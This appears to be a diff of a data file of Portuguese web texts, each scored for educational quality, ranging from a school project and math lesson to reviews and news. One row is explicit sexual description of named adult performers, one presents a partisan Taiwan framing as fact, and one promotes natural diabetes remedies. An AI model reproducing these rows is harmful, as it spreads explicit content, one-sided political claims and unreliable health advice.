+· O “Planeta Terra” (nosso meio ambiente) água, energia e lixo (do nosso planeta).
+_ Energia de onde vem e como chega até a casa; fontes da água e sua utilização preservação da água (desperdício escassez).
+· Leitura e interpretação oral e escrita de palavras e pequenos textos;com ajuda do professor.
+· Alfabeto, vogais e consoantes.
+· Sequência lógica 0 á 9_antecessor e sucessor.
+· * Roda de conversa: refletir sobre o tema abordado (planeta terra, água, energia, lixo etc.).
+· * Leitura e interpretação oral e escrita.
+· * Contagem de elementos de conjuntos , usa os dedos, distribuir tampinhas e palitos e outros.
+· Constante observação durante todo período de realização do projeto.
+· Observar os alunos durante todas as atividades se teve interesse, participação nas execução das atividades propostas.
+· Verificar se houve um despertar ecológico no sentido de reflexão quanto ao amor e cuidado com a Natureza.
+“SER EDUCADOR É SER POETA DO AMOR”
+REUNIÃO DE PAIS E MESTRES COMO CULMINÂNCIA DO PROJETO ""CEMIG NAS ESCOLAS "", TENDO COMO OBJETIVO A PARCERIA ENTRE AMBOS PARA CONSERVAÇÃO DO MEIO AMBIENTE , ECONOMIA DE ÁGUA E ENERGIA ELÉTRICA.
+ABERTURA DA REUNIÃO DE PAIS E MESTRES SOBRE O PROJETO
+GINCANA COM A PARTICIPAÇÃO DOS PAIS
+TRABALHOS REALIZADOS COM AS CRIANÇAS EM SALA DE AULA.
+Tia Anizeth e sua turma apresentando as dicas de economia da energia elétrica
+Tia Danyela e sua turma se divertindo com um dos jogos , material doado pela CEMIG.
+Alunos de Tia Jucilda lendo e discutindo os assuntos estudados com o projeto em questão.
+LEMBRANCINHA PARA OS PAIS CONFECCIONADAS PEL...",original,original,original,original,4,0.8
+"Olá, exploradores da matemática! Já pararam para pensar como os números estão presentes em tudo o que fazemos? Desde calcular o troco no mercado até entender as estatísticas do seu time de futebol favorito, a matemática é uma ferramenta poderosa para compreendermos o mundo ao nosso redor. Hoje, vamos embarcar em uma jornada para desvendar os mistérios das operações básicas: adição, subtração, multiplicação e divisão.
+
+**Adição: Unindo Forças!**
+A adição é a operação de juntar quantidades. Imagine que você tem 3 figurinhas de um álbum e ganha mais 5 do seu amigo. Quantas figurinhas você tem agora? Isso mesmo, 3 + 5 = 8 figurinhas! A adição nos ajuda a somar diferentes valores e encontrar o total.
+
+**Subtração: Retirando Elementos!**
+A subtração é o contrário da adição. Em vez de juntar, nós retiramos. Se você tem 10 balas e come 4, quantas balas sobraram? 10 - 4 = 6 balas! A subtração é essencial para calcular diferenças e saber o que resta.
+
+**Multiplicação: A Soma Acelerada!**
+A multiplicação é uma forma rápida de somar o mesmo número várias vezes. Pense em um pacote com 6 canetas. Se você comprar 3 pacotes, quantas canetas terá no total? Em vez de fazer 6 + 6 + 6, podemos usar a multiplicação: 3 x 6 = 18 canetas! A multiplicação facilita a contagem quando temos grupos iguais.
+
+**Divisão: Compartilhando Igualmente!**
+A divisão é a operação de repartir algo em partes iguais. Imagine que você tem 20 chocolates para dividir entre 5 amigos. Quantos chocolates cada amigo receberá? 20 ÷ 5 = 4 chocolates para cada um! A divisão nos ajuda a distribuir e a entender frações.
+
+**Exemplos Práticos no Dia a Dia:**
+*   **Cozinhando:** Ao seguir uma receita, você usa adição para somar os ingredientes e divisão para ajustar as porções.
+*   **Fazendo Compras:** Você usa subtração para calcular o troco e multiplicação para saber o preço total de vários produtos.
+*   **Planejando uma Viagem:** Você usa todas as operações para calcular distâncias, tempos de viagem e custos.
+
+**Desafio para Você!**
+1.  Se você comprar 2 pizzas, cada uma com 8 fatias, e dividir igualmente entre você e 3 amigos, quantas fatias cada um comerá?
+2.  Você tem R$50 e quer comprar 3 brinquedos que custam R$12 cada. Quanto dinheiro sobrará?
+
+**Conclusão:**
+As operações matemáticas básicas são a base para resolver problemas complexos e entender o mundo ao nosso redor. Pratique, experimente e descubra como a matemática pode ser divertida e útil em sua vida! Lembre-se: quanto mais você praticar, mais fácil e natural se tornará o uso dessas ferramentas. Explore, questione e nunca pare de aprender! A matemática está em toda parte, esperando para ser desvendada!",Matemática,Números e operações básicas,anos finais (6º ao 9º ano),"O texto apresenta conceitos matemáticos básicos de forma clara e acessível, utilizando exemplos práticos e cotidianos que facilitam a compreensão, além de propor desafios que incentivam a aplicação do conhecimento. O estilo de escrita é adequado para o público-alvo, tornando o aprendizado divertido e engajador, o que o torna valioso para o ensino fundamental.",5,1.0
+"A obesidade já é considerada uma epidemia no Brasil e uma tarefa difícil para os especialistas. Mais do que os aspectos relacionados a estética e beleza são as implicações com a saúde como hipertensão arterial e diabetes e doenças cardiovasculares.
+Uma pessoa é considerada obesa quando possui peso 10% a 20% maior do que o peso médio ideal e o aumento da gordura tem origem no desequilíbrio entre a alimentação e exercício físico.
+Para evitar, faça exercícios físicos constantes como natação, caminhada e tenha uma dieta balanceada recomendada por nutricionistas.",original,original,original,original,3,0.6
+"[Resenha]: As vantagens de ser invisível — de Stephen Chbosky | Mato por livros
+[Resenha]: As vantagens de ser invisível — de Stephen Chbosky
+Sinopse: Cartas mais íntimas que um diário, estranhamente únicas, hilárias e devastadoras — são apenas através delas que Charlie compartilha todo o seu mundinho com o leitor. Enveredando pelo universo dos primeiros encontros, dramas familiares, novos amigos, sexo, drogas e daquela música perfeita que nos faz sentir infinito, o roteirista Stephen Chbosky lança luz sobre o amadurecimento no ambiente da escola, um local por vezes opressor e sinônimo de ameaça. Uma leitura que deixa visível os problemas e crises próprios da juventude. Eu ganhei essa lindeza de aniversário (anos atrás), e resolvi reler para resenhá-lo aqui. Afinal, gosto muito deste enredo. S2 Confira agora a sinopse, trailer do filme e o meu parecer de “As vantagens de ser invisível"", obra do autor Stephen Chbosky, uma publicação da Rocco — Jovens Leitores.
+""Porque ser invisível tem lá suas vantagens"" Uma viagem ao infinito! O enredo gira em torno de Charlie e seus conflitos: ora desejando ser invisível; ora querendo alcançar o infinito. Isso tudo narrado em cartas que o próprio escreve como um desabafo, enviando a um amigo imaginário/desconhecido. — Bom, acho que Michael era um cara legal e não entendi por que ele fez aquilo. Apesar de me sentir muito triste, acho que o que realmente me aborrece é não entender o que aconteceu. (Livro: As vantagens de ser invisível, Pág.14) Michael Dobson era o seu melhor amigo, porém suicidou-se. Charlie, por sua vez, fechou-se ainda mais para o mundo, sendo considerado por muitos (até mesmo pela família), como um adolescente estranho. Além desta tragédia, existe o fato de que a tia que tanto amava, Helen, sofrera um acidente de carro quando ele ainda era criança e veio a óbito. E foi a partir deste trágico episódio que ele tornara-se introspectivo. — Há quanto tempo vocês estão juntos? — perguntei. Então eles começaram a rir. E riram muito mesmo. — O que tem de tão engraçado nisso? — questionei. — Nós somos irmãos — disse Patrick, ainda rindo. (Livro: As vantagens de ser invisível, Pág.31) Eis que Charlie conhece Patrick e Sam, que na verdade são meio-irmãos, pois a mãe de Sam se casou com o pai de Patrick. E dentre tantas estranhices por parte dele, os novos amigos passam a enxergá-lo como um garoto muito sensível e carente, o que de fato é. De ímpeto Charlie sente atração por Sam, que é uma garota descolada, além de muito bonita. No entanto, ela o alerta para que não leve as coisas para o outro lado, querendo algo mais que amizade. Mas, no fundo, Sam sente imenso carinho por Charlie, além de o enxergar de outra forma, isto é, desejando-o. Além dos novos amigos, Charlie é amparado pelo seu professor de inglês, Bill, que enxerga a dificuldade dele de interagir e sempre lhe presenteia com livros e uma amizade sincera. E mesmo introvertido, ele se enturma com a galera, participando de novas experiências e conseguindo deixar de ser tão invisível. Só queria que Deus, ou meus pais, ou minha irmã, ou alguém, me dissesse o que há de errado comigo. Que me dissesse como ser diferente de uma forma que faça sentido. Que fizesse tudo isso passar. E desaparecer. Sei que é errado, porque a responsabilidade é minha, e sei que as coisas pioram antes de melhorar porque é o que diz meu psiquiatra, mas essa fase pior está grande demais pra mim. (Livro: As vantagens de ser invisível, Pág.149) Apesar de Charlie passar por uma boa fase, algo acontece, fazendo com que todos (menos o professor de inglês e sua família) se afastem dele. É neste momento que ele tem uma recaída. Agora cesso os meus comentários para não soltar mais spoilers. Falar sobre este livro é complicado de uma forma boa. Deixe-me explicar... O leitor que se arriscar nessa leitura, tem que estar ciente de que se trata de um enredo Infanto Juvenil, além de ser escrito de forma epistolar, ou seja, como um desabafo em cartas. É uma história sem gra...",original,original,original,original,3,0.6
+"FETRACONSPAR - FEDERAÇÃO DOS TRABALHADORES NAS INDÚSTRIAS DA CONSTRUÇÃO E DO MOBILIÁRIO DO ESTADO DO PARANÁ - Doença profissional e o ônus da prova do empregador
+Doença profissional e o ônus da prova do empregador
+O Tribunal Regional do Trabalho da 1ª Região enfrentou o tema do ônus processual sobre doenças advindas das atividades laborais, em processo de trabalhadora que desempenhou suas atividades em favor de determinada instituição financeira por 28 anos, e, em razão de suas funções com esforços repetitivos a levou a ser afastada em 1998 para recebimento de benefício previdenciário.
+A doença profissional muitas vezes não é de compreensão dos trabalhadores, que acabam por praticarem atividades laborais de grande impacto a sua saúde, assim, fez-se necessária à sua conceituação por meio do artigo 20, I, da lei 8.213/91.
+Com a legislação em vigor, firmou-se o entendimento de que são aquelas produzidas ou desencadeadas pelo exercício do trabalho peculiar a determinada atividade, deste modo, são todas as doenças advindas em razão da atividade praticada durante o trabalho, sem ligação as demais atividades praticadas fora do local de labor.
+Diante disso, inúmeros processos na atualidade versam sobre as doenças advindas das atividades laborais, para que seja instituída a responsabilidade das empresas ante aos danos causados e custos para restabelecimento do trabalhador.
+O Tribunal Regional do Trabalho da 1ª Região enfrentou o tema, em sua 2ª Turma, no processo de trabalhadora que desempenhou suas atividades em favor de determinada instituição financeira por 28 anos, e, em razão de suas funções com esforços repetitivos a levou a ser afastada em 1998 para recebimento de benefício previdenciário.
+A trabalhadora demonstrou que diariamente fazia digitação contínua com manuseio de objetos pesados, além de efetuar tais atividades em pé, sem as observações de segurança a saúde, o que desencadeou diversas dificuldades e danos pela limitação de sua capacidade.
+Em razão das consequências ocasionada pelas atividades laborais, a empregada se afastou algumas vezes da instituição financeira, a partir de 1998, sendo que o Comunicado de Acidente de Trabalho – CAT do ano citado foi emitido pelo próprio banco e a garantiu o benefício previdenciário B94 (pecúlio), no percentual de 50%, sendo reconhecido em ação judicial.
+Posteriormente, a trabalhadora foi reabilitada, mas ainda precisou ser afastada mais duas vezes, além da citada, recebendo benefício previdenciário nas espécies B91 e B31.
+Ademais, as provas testemunhais comprovaram as péssimas condições de trabalho a que os obreiros são submetidos, além de que, na justiça comum já há decisão transitada em julgado que reconhece a redução de sua capacidade laborativa da trabalhadora, pelo ambiente totalmente lesivo a saúde.
+A instituição financeira, em sua defesa, alegou que não participou do processo administrativo que culminou na declaração e reconhecimento do INSS, sobre o nexo causal existente entre a doença e as atividades laborais, nem da ação judicial que demonstra a redução da capacidade laboral, diante disso, buscou a tese de que doença que afeta a empregada não era decorrente de suas atividades laborais.
+Apesar das diversas alegações da trabalhadora e a farta documentação do INSS oriunda do processo administrativo, a sentença de 1ª instância rejeitou todos os pedidos formulados, sob o fundamento de que o laudo pericial concluiu que inexistia o nexo causal pleiteado.
+Com isso, em sede de Recurso Ordinário argumentou a obreira que o laudo pericial destorceu a realidade, só levando em consideração os documentos apresentados pela instituição financeira, não podendo ser considerado como prova hábil a desconstituir o nexo causal existente.
+Em contrapartida, nas contrarrazões, o banco rebateu o alegado, de forma semelhante ao que fora alegado na contestação, para que pudesse manter o laudo apresentado sem a aplicação do nexo causal do ambiente de trabalho aos danos existentes a saúde da Reclamante.
+O...",original,original,original,original,3,0.6
+"SUBJECTIVE WELL-BEING: CURRENT ADVANCES IN KNOWLEDGE Autor: António Simões, Joaquim Armando G. A. Ferreira, Margarida P. Lima, Maria do Rosário M. M. Pinheiro, Cristina M. C. Vieira, Armanda P. M. Matos, Albertina L. Oliveira Faculdade de Psicologia e de Ciências da Educação, Universidade de Coimbra, Portu	 553
+THE TWO SIDES OF THE JAPANESE ECONOMIC MIRACLE Autor: Daniela de Carvalho Universidade Portucalense, Portugal	 589
+VARIAÇÕES PSICOLÓGICAS SOBRE O AMOR Autor: Félix Neto Centro de Estudos de Psicologia da Cognição, da Afectividade e do Contexto Cultural, Universidade do Porto, Portugal	 592
+WOMEN SMILE MORE THAN MEN? Autor: A. Freitas-Magalhães Departamento de Psicologia, Instituto Superior de Ciências Educativas, Felgueiras, Portugal Félix Neto Centro de Psicologia da Cognição, Afectividade e Contexto Cultural, Universidade do Porto, Portugal	 604",original,original,original,original,4,0.8
+"Estagio Administrativo Ponta Grossa - Mirojobs: Empregos Curitiba ,Ponta Grossa, Paranaguá e Cascavel
+Home Estágios PONTA GROSSA Estagio Administrativo Ponta Grossa
+Estagio Administrativo Ponta Grossa
+Target 10/02/2018 Estágios, PONTA GROSSA,
+Empresa:.Jumper
+sou_eider@hotmail.com",original,original,original,original,1,0.2
+"Essa obra é um projeto da “Academia de Letras Infanto-Juvenil de São Bento do Sul, estado de Santa Catarina” integrando escritores, Catarinense, Gaúcho, Goiano, Maranhense, Paulista, Paranaense e Piauiense.",original,original,original,original,1,0.2
+"Cleo Castellari é uma morena perfeita! Essa gostosa para delírio da macharada, mas antes de dar o ar da graça ela participou do único reality show de sexo explícito do Brasil! Durante sua participação, Cléo se mostrou muito desinibida, animada e safada, é claro! Ela atendeu à todos os pedidos internautas depravados e revelou inúmeros segredos. Essa morena contou que sua posição favorita é de quatro e ainda demonstrou no sofá da Casa com o rabo gostoso bem empinado!
+Essa morena tem o corpo moldado para o pecado com lindos peitos fartos, bunda gostosa, bucetinha apertadinha e a marquinha do biquíni sempre em dia, tudo isso distribuído em 1,72m de altura! Cléo Castellari mantem sua forma apenas andando de bicicleta e confessa que tem preguiça de ir à academia! Essa morena adora caprichar na putaria e sua boquinha é inesquecível! Cléo vai te deixar babando de tesão!
+Fabiane Thompson iniciou sua carreira em 2004 com 21 anos. Após o convite de um ator pornô, enquanto estava passeando por um shopping center. Ela é uma das atrizes da indústria pornográfica brasileira mais populares. Muito conhecida por cenas de sexo anal, oral, dupla penetração, fist fucking e sexo mais pesado. Mesmo atuando em diversas cenas lésbica se considera heterossexual.
+Manu Fox, tem 25 aninhos, uma loirinha gostosa que adora dar sua bucetinha, sem restrições, essa safada faz de tudo, mas confessa nunca ter feito gang bang e dupla penetração.
+Gostosona com peitos grandes, a safada faz de tudo porque ama putaria e muito sexo. Tesuda e com a pesonalidade forte, esta loirinha conta que adora fazer sexo anal e uma pica grande. Participou do filme “Taras de Mulheres”, num gang bang lésbico, onde ela e mais três gostosas caem de boca na bucetas gostosas umas das outras, fazendo muito sexo oral, cunete e usando muito consolo.
+Priya Rai é uma atriz pornô indiana, mas morava com os pais nos Estados Unidos desde os dois anos. Aos vinte anos, começou a fazer trabalhos como modelo após abandonar os estudos na universidade. No inicio, fazia ensaios para várias marcas de roupas de banho e lingerie.
+Sua estreia no mercado de filmes eróticos ocorreu em 2007 quando tinha 30 anos e destaca-se por sua participação em produções do gênero MILF.
+Cinthia Santos é uma ex-atriz de filmes pornográficos brasileira. Anteriormente, havia trabalhado como “mallandrinha,” como são conhecidas as assistentes de palco de Sérgio Mallandro. Iniciou sua carreira no cinema adulto em 2007. Angel Lima é uma atriz de filmes porno. Ficou conhecida por suas participações no programa da Rede TV!, Teste de Fidelidade e por sua semelhança com a modelo Juju Salimeni",original,original,original,original,0,0.0
+"Em franco declínio econômico e no caminho incontornável de perder a hegemonia geopolítica para a China, os Estados Unidos estão decididos a intensificar as provocações contra a grande potência asiática, apresentando-a falsamente como um perigo à segurança do Ocidente e semeando tensões no entorno chinês. A visita da presidenta da Câmara dos Representantes, Nancy Pelosi, a Taiwan (uma ilha que pertence desde épocas remotas à China e serviu de refúgio à contrarrevolução após 1949) é um passo mais agressivo e perigoso na escalada das provocações e suscitou a vigorosa reação de Pequim. A respeito deste episódio reproduzimos abaixo a declaração do Ministério dos Negócios Estrangeiros da China:
+Beijing, 2 ago (Xinhua) – O Ministério dos Negócios Estrangeiros da China emitiu nesta terça-feira uma declaração sobre a visita da presidente da Câmara dos Representantes dos Estados Unidos, Nancy Pelosi, à região Taiwan da China. Segue o texto completo da declaração:
+No dia 2 de agosto, a despeito da oposição forte e das representações severas da China, a presidente da Câmara dos Representantes dos Estados Unidos, Nancy Pelosi, visitou a região Taiwan da China. É uma violação severa do princípio de Uma Só China e as estipulações dos três comunicados conjuntos China-EUA. Tem impacto severo na base política das relações China-EUA, infringe severamente a soberania e a integridade territorial da China, prejudica severamente a paz e a estabilidade no Estreito de Taiwan, e emite um sinal severamente errado às forças secessionistas da “independência de Taiwan”. A China opõe-se firmemente e condena veementemente isso, e já fez as representações severas e protestos fortes contra os EUA.
+Existe no mundo apenas uma China, e Taiwan é uma parte inalienável do território da China. O Governo da República Popular da China é o único governo legítimo que representa toda a China. É claramente reconhecida pela Resolução 2758 da Assembleia Geral das Nações Unidas em 1971. Desde a fundação da República Popular da China em 1949, 181 países estabeleceram as relações diplomáticas com a China com base no princípio de Uma Só China. O princípio de Uma Só China é um consenso geral da comunidade internacional e uma norma básica de relações internacionais.
+Em 1979, os Estados Unidos fizeram um claro compromisso no Comunicado Conjunto sobre o Estabelecimento das Relações Diplomáticas China-EUA de que, “os Estados Unidos da América reconhecem que o Governo da República Popular da China é o único governo legítimo da China. Neste contexto, o povo dos EUA manterá as relações culturais, comerciais e outras relações não oficiais com o povo de Taiwan”. O Congresso dos EUA, como uma parte do governo dos EUA, deveria ter respeitado as políticas de Uma Só China do Governo dos EUA e não efetuado qualquer intercâmbio oficial à região de Taiwan. A China tem-se oposto às visitas dos deputados do Congresso dos EUA à região Taiwan da China e as entidades executivas dos EUA têm a responsabilidade de as impedir. A presidente Nancy Pelosi é a líder incumbente do Congresso dos EUA, e a sua visita e as atividades em Taiwan, de qualquer forma e de qualquer razão, é uma grave provocação política para escalar os intercâmbios oficiais dos EUA com Taiwan. A China não aceita isso de forma alguma e o povo chinês rejeita absolutamente isso.
+A questão de Taiwan é a questão central mais importante e sensível nas relações entre a China e os EUA. O Estreito de Taiwan está enfrentando uma nova rodada de tensões e desafios severos, e a razão fundamental reside na alteração repetida do status quo pelas autoridades de Taiwan e pelos EUA. As autoridades de Taiwan procuram a independência, contando com o apoio dos EUA, recusam a reconhecer o Consenso de 1992, praticam a desinicização e promovem “a independência gradual”. Os Estados Unidos mantêm a intenção de usar Taiwan para conter a China, distorcem, obscurecem e esvaziam o princípio de Uma Só China, intensificam os intercâmbios oficiais com Taiwan e respald...",original,original,original,original,1,0.2
+"Imagem corporativa – Wikipédia, a enciclopédia livre
+Kunsch (2003), ao citar Riel (1995), afirma que a imagem é um conjunto de significados pelos quais se chega a conhecer um objeto e por meio do qual as pessoas o descrevem, recordam e se relacionam. Mas, acrescenta que imagem também é o resultado da interação de crenças, idéias, sentimentos e impressões constituídas pelas pessoas sobre determinado objeto. A imagem corporativa se relaciona com a visão que os públicos possuem de determinada organização, e costuma estar fortemente ligada aos produtos gráficos, a identidade visual, que é construída através das diversas percepções da comunicação em relação à publicidade, logotipos, cores, embalagens e etc. Essa imagem que corresponde a uma visão externa da organização, depende também da forma de comunicação interna, onde ela é definida através do foco no público, as ações que serão realizadas para atingi-los, a forma de comunicação escolhida além da missão, visão e valores da organização e revela como ela está organizada, além de indicar se é centralizada ou descentralizada, se possui divisões e filias e o ramo em que atua.É a forma que uma empresa é vista, e avaliada pelos públicos, está ligada ao que a organização representa. Os relações públicas fazem parte do quadro de profissionais que trabalham para que a imagem corporativa seja atraente aos olhos dos diversos públicos, de modo que consigam despertar o interesse dos cosumidores e valorizar a marca.
+Muitas empresas investem tempo e recursos, para influenciar a opinião que os consumidores deixarão sobre os serviços oferecidos pela empresa e o próprio negócio. Este processo de cultivo de relações positivas não se estende a única interação com os consumidores, mas também a interação permanente com os meios de comunicação, sindicatos, associações industriais e outras entidades que têm um impacto direto e indireto sobre a opinião pública. A imagem corporativa é a melhor maneira de perceber e de imagem das corporações. No ambiente de negócios competitivo, muitas empresas trabalham para criar e comunicar uma imagem positiva para seus clientes, acionistas, comunidade financeira e público em geral. Uma empresa que que ignora a sua imagem pode encontrar uma variedade de problemas.
+Diversos fatores tem contribuição com o crescimento da importância da imagem corporativa. A globalização é um deles, que representa a forma como a organização expande suas operações, tanto externamente quanto internamente.
+2 Kunsch (2003)
+2.1 Minguez (1999)
+2.2 Costa (2001, p.58)
+2.3 Ade (2001)
+2.4 Jean costa (2012)
+Uma analogia simples para entender esses conceitos é imaginar que a imagem corporativa é como uma tela em branco que as pessoas possuem em suas mentes em relação a uma determinada empresa com a qual ainda não tiveram contato. A imagem é o preenchimento dessa tela, como se fosse um quebra-cabeças. As pessoas vão construindo a imagem com peças que a própria empresa fornece. Se a empresa não sabe muito bem como é a tela original (a identidade), não consegue distribuir as peças corretas para preencher a tela na cabeça das pessoas (a imagem). Isso faz com que se forme uma imagem confusa, onde as peças não se encaixam. Assim, é difícil confiar na empresa e formar uma opinião favorável, pois não há clareza e nem coerência. A reputação da empresa fica prejudicada, pois não se consegue discernir os pontos determinantes para a tomada de decisão. Há então os casos presenciados diariamente de peças que não se encaixam, como os anúncios milionários dos bancos afirmando que o cliente é especial, enquanto faz com que eles tenham um tratamento abaixo da crítica, esperando por longos intervalos de tempo para serem atendidos. Definindo é um sistema no qual mostre a finalidade da empresa com o consumidor.
+Kunsch (2003)[editar | editar código-fonte]
+Segundo Kunsch (2003), a imagem pode ser entendida como uma visão subjetiva da realidade objetiva, ou seja, as pessoas interpretam as mensagens emitidas pela organização ...",original,original,original,original,4,0.8
+"Suas sugestões e reclamações serão bem-vindas e encaminhadas às áreas competentes. Basta preencher o formulário abaixo. Ou se preferir, entre em contato por telefone.",original,original,original,original,0,0.0
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+"Linguagemjuridica Trabalhos Acadêmicos - Ajuda mwtrabalhosnasr.asbvme.us
+Não há regra específica, nem obrigação mas na maioria das vezes, nas principais peças de cada processo, os advogados tendem a iniciar a sua exposição pela. Com o objetivo de discutir a importância do papel da linguagem jurídica no acesso à justiça, este estudo não intenciona hierarquizar os obstáculos ao. Sobre ricardonagy usp/puc-sp bacharel em direito puc-sp pós-graduando em direito civil pela epm-tjsp bacharel e licenciado letras inglês/português usp. Ditados populares em linguagem jurídica a fêmea ruminante deslocou-se para terreno sáfaro e alagadiço (a vaca foi para o. Fala sobre a diferença entre a linguagem jurídica e o juridiquês by giovana7lazzaretti. Definições, notícias, artigos, legislação, jurisprudência e muito mais sobre linguagem jurídica.
+Dividido em três partes, o presente trabalho propicia uma visão global da linguagem jurídica, analisando exaustivamente todos os detalhes do tema. Definição de linguagem jurídica e sinónimos de linguagem jurídica (português), antónimos, rede semántica e tradutores para 37 línguas. O uso da vírgula a pontuação já foi definida de várias maneiras já se fizeram analogias com a costura (a pontuação seria a linha que dá consistência e. Muito se fala, no meio jurídico, de iniciativas para banir o “juridiquês” do dia-a-dia forense é exemplo, nesse sentido, a atual campanha da escola. Veja grátis o arquivo linguagem juridica enviado para a disciplina de português forense categoria: aulas - 2432750. Legal language resumo: este artigo traz à análise, uma reflexão sobre a linguagem, em sua origem remota, desde o tempo da grécia antiga, e ainda.
+Significado de linguagem jurídica o que é linguagem jurídica: linguagem utilizada em ambiente jurídico. 1 a linguagem jurÍdica e a comunicaÇÃo entre o advogado e seu cliente na atualidade¹ suzana minuzzi reolon resumo o presente trabalho foi idealizado em função. Encontre linguagem juridica com ótimos preços e condições na saraiva temos linguagem jurídica e argumentação - teoria e prática - 5ª ed 2017, lições de.
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+Posts about linguagem jurídica written by fabioschlickmann no quadro juridiquês, você vai rever uma expressão usada no direito que tem o significado muito. O presente artigo propõe a simplificação da linguagem jurídica, busca mostrar a importância de uma linguagem de fácil acesso e entendimento para todos, sendo. Gisele salgado pós-doutora em direito na fd-usp, doutora em filosofia do direito, mestre em filosofia do direito pela puc-sp, especialista em direito do trabalho.",original,original,original,original,2,0.4
+"BC Media - Dicas e Consultas 2016: controlar diabetes tipo 1
+Mostrando postagens com marcador controlar diabetes tipo 1. Mostrar todas as postagens
+Daremos foco aos alimentos para controlar diabetes, pois eles são muito procurados por pessoas que possuem esse problema de saúde. Saiba como você pode fazer para que a sua saúde fique melhor com a ajuda dos alimentos que você consome. Existem muitos alimentos bons e que vai agradar o seu paladar.
+Como Fazer Limpeza do Fígado e Vesícula
+Cipo Mil Homens e Argila
+Receitas Doces Diet Para Diabéticos
+Da mesma forma que existem alimentos que prejudicam a saúde de quem tem diabetes, existem aqueles alimentos para diabéticos que melhoram a saúde desses pacientes. São esses alimentos que iremos apresentar abaixo. São alimentos que encontramos facilmente e que podemos inclui-los em várias refeições do dia, sem nenhum problema.
+• Peixes de águas profundas;
+• Iogurte sem gorduras;
+• Amêndoas;
+• Linhaça;
+• Chia;
+• Batata yacon;
+• Farinhas funcionais.
+Postado por Monica Romana às 06:27 Nenhum comentário:
+Marcadores: alimentos para controlar diabetes tipo 2, controlar diabetes com produtos naturais, controlar diabetes de forma natural, controlar diabetes naturalmente, controlar diabetes tipo 1",original,original,original,original,2,0.4
+"A Campanha Novembro Azul, realizada ao longo do mês de novembro, foi encerrada no último dia 26 com palestra educativa sobre prevenção ao câncer de próstata entre outras abordagens relativas a saúde do homem. O palestrante foi o Dr. Felipe Dias (urologista).
+Iniciativa da prefeitura, através da coordenação do Centro Municipal de Saúde, o evento teve como foco principal o esclarecimento e a prevenção do câncer de próstata, que é celebrado mundialmente no dia 17 de novembro.
+Além do câncer de próstata, a andropausa, o distúrbio androgênico do envelhecimento masculino, disfunção erétil, DSTs e câncer de pênis, são destaques entre outras enfermidades que assolam a saúde masculina e foram tratados na palestra.",original,original,original,original,2,0.4
+"Gostei muito! Cheguei e estava vazio! Logo de início foram super atenciosos, prestáveis e simpáticos. Pedimos naco e picanha na pedra é estável óptimo. Para repetir!!
+Oct 08, 2016
+Patricia Ferreira
++4.5
+Restaurante muito agradável, com um Naco na Pedra muito bom e bem servido! Muito central, só não á tão fácil assim estacionar. Atendimento fantástico! Recomendo, e é para voltar!!
+Jun 08, 2016
+Nuno L
++3.5
+Passei aqui centenas de vezes.
+Hoje fui jantar. Razão? Um sistema de reservas que me alertou para este espaço. Entradas. Ovos com farinheira. Muito bons. Requeijão com abóbora normal e caro
+Pratos bife da pedra bom com fruta. Uma espetada de carne e ansnaz. Graça e vara. E um peixe espada grelhado fresco.
+Globalmente positivo principalmente devido ao desconto.
+Apr 09, 2016
+Mariana Vitorino
++4.5
+Atendimento espetacular, boa comida, bem servido, oferece aquilo a que se propõe, uma comida despretensiosa, caseira e com o bónus da simpatia.
+Jan 25, 2016
+Rita Dos Santos
++4
+Fizemos reserva através do my gon e não nos arrependemos mesmo nada. Escolhemos o naco na pedra que acompanhava com uma travessa de arroz e batatas, uma de fruta e outra de salada. Tivemos também direito a um Martini, azeitonas, pão e paté de atum. Uma sobremesa. A comida estava toda muito saborosa e é de destacar a EXTREMA simpatia dos funcionários. É um bom restaurante para jantares de grupo. Recomendo!
+P.s: Peço desculpa pela fotografia já com a comida a meio, mas efetivamente estava mesmo boa e não conseguimos esperar.
+Jan 25, 2016
+DAlmeida
++3.5
+Foi através do Mygon que conheci o Catita.
+O espaço é típico de um restaurante convencional.
+O atendimento prima pela simpatia e disponibilidade.
+O preço é razoável.
+Jan 09, 2016
+Micael Gameiro
++3.5
+Fui almoçar num dia da semana em Julho'15. O Restaurante estava quase vazio.
+O atendimento foi rápido e atencioso. Optei pelo fondue de carnes com gambas e fruta, e gostei muito.
+Jan 05, 2016
+Carolina Costa
++3.5
+Atendimento muito simpático por parte do senhor que nos atendeu, o naco na pedra valeu sem duvida a pena, apresentava um tempero fenomenal e uma boa textura. O espaço fica um bocado aquém, bem decorada mas a fazer recordar um ""restaurante"" de bairro.
+Balanço final: um espaço para voltar quando se procura uma refeição mais calma e descontraída.
+Dec 16, 2015
+Bruno Ferreira Costa
++4
+Fui ao Catita através de uma reserva no Mygon. Atendimento muito simpático, cordial e prestável. Optei pelo fondue de carnes e gambas, acompanhado por batata, arroz, salada e salada de frutas. Entradas agradáveis e uma mousse de maracujá saborosa. Fomos recebidos com um moscatel de Setúbal (a outra opção era um martini). Espaço cuidado. Preço deveras convidativo (27€ para duas pessoas). A repetir.
+Sep 06, 2015
+Marco Lourenco
++3.5
+Atendimento muito bom. Qualidade da comida razoável, mas no geral foi uma experiência positiva. Comida caseira, e bem preparada. Acho ajustado ao preço, mas falta algo....
+Aug 08, 2015
+Arnaldo Ferreira
++4
+Restaurante muito acolhedor; o empregado e muito simpático e muito prestável, sempre disponível. Fui com a minha irmã e a minha namora e todos nós gostamos muito, a princípio, pareceu-nos pouca comida mas no fim sobrou!!! O fondue estava muito bom.
+Voltarei de certeza a visitar este espaço
+Jul 30, 2015
+Susana Sofia Pito
++3.5
+Não existindo perfil do restaurante ""catita 2"" esta avaliação basear-se-á unicamente na qualidade daquilo que comi. O espaço deste primeiro ""catita"", naturalmente, não conheço, achando aquele que fui demasiado pequeno e apertado para aquilo que se pretende - há que ter em atenção que fondue e nacos na pedra ocupam sempre espaço. Sendo a gerência e a ementa praticamente a mesma resta-me dizer que o naco na pedra tem qualidade e é muito bem servido, quer em acompanhamento de batata frita, arroz e fruta, quer em molhos e na quantidade de carne.Não é um restaurante surpreendente mas para matar saudades de um fondue ou pedra fica bastante em conta e, para esse objectivo, recomendo.
+Jul 20, 2015
+Tom...",original,original,original,original,0,0.0
+"Citroën C-Elysee: a grama do vizinho é mais verdinha
+Esse é mais um modelo que em breve estará disponível na Argentina, mas sem qualquer previsão de chegar ao mercado brasileiro – Renault Megane e Ford Kuga são dois outros exemplos recentes. O que chama a atenção no caso é que o Grupo PSA (Peugeot/Citroën) vinha adotando estratégias semelhantes para os vizinhos e agora resolveu oferecer, do lado de lá da fronteira, um modelo que não deve dar as caras por aqui.
